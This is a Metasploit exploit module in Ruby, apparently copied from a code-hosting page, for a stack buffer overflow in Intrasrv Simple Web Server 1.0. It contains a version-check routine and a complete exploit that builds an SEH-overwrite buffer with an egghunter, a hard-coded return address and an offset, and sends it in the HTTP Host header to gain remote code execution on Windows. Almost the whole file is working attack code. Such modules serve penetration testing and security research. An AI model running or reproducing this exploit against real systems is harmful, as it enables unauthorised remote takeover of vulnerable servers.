109 lines
3.1 KiB
Ruby
109 lines
3.1 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Egghunter
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Intrasrv 1.0 Buffer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a boundary condition error in Intrasrv Simple Web
|
|
Server 1.0. The web interface does not validate the boundaries of an
|
|
HTTP request string prior to copying the data to an insufficiently sized
|
|
buffer. Successful exploitation leads to arbitrary remote code execution
|
|
in the context of the application.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'xis_one', # Discovery, PoC
|
|
'PsychoSpy <neinwechter[at]gmail.com>' # Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['OSVDB', '94097'],
|
|
['EDB','18397'],
|
|
['BID','60229']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 4660,
|
|
'StackAdjustment' => -3500,
|
|
'BadChars' => "\x00\x0d\x0a"
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'ExitFunction' => "thread"
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
['v1.0 - XP / Win7',
|
|
{
|
|
'Offset' => 1553,
|
|
'Ret' => 0x004097dd #p/p/r - intrasrv.exe
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "May 30 2013",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('RPORT', [true, 'The remote port', 80])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
begin
|
|
connect
|
|
rescue
|
|
print_error("Could not connect to target!")
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
sock.put("GET / HTTP/1.0\r\n\r\n")
|
|
res = sock.get_once
|
|
|
|
if res =~ /intrasrv 1.0/
|
|
return Exploit::CheckCode::Vulnerable
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
# setup egghunter
|
|
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, {
|
|
:checksum=>true
|
|
})
|
|
|
|
# setup buffer
|
|
buf = rand_text(target['Offset']-126) # junk to egghunter at jmp -128
|
|
buf << hunter # egghunter
|
|
buf << rand_text(target['Offset']-buf.length) # more junk to offset
|
|
buf << "\xeb\x80" + rand_text(2) # nseh - jmp -128 to egghunter
|
|
buf << [target.ret].pack("V*") # seh
|
|
|
|
# second last byte of payload/egg gets corrupted - pad 2 bytes
|
|
# so we don't corrupt the actual payload
|
|
egg << rand_text(2)
|
|
|
|
print_status("Sending buffer...")
|
|
# Payload location is an issue, so we're using the tcp mixin
|
|
# instead of HttpClient here to maximize control over what's sent.
|
|
# (i.e. no additional headers to mess with the stack)
|
|
connect
|
|
sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n\r\n#{egg}\r\n\r\n")
|
|
disconnect
|
|
end
|
|
end
|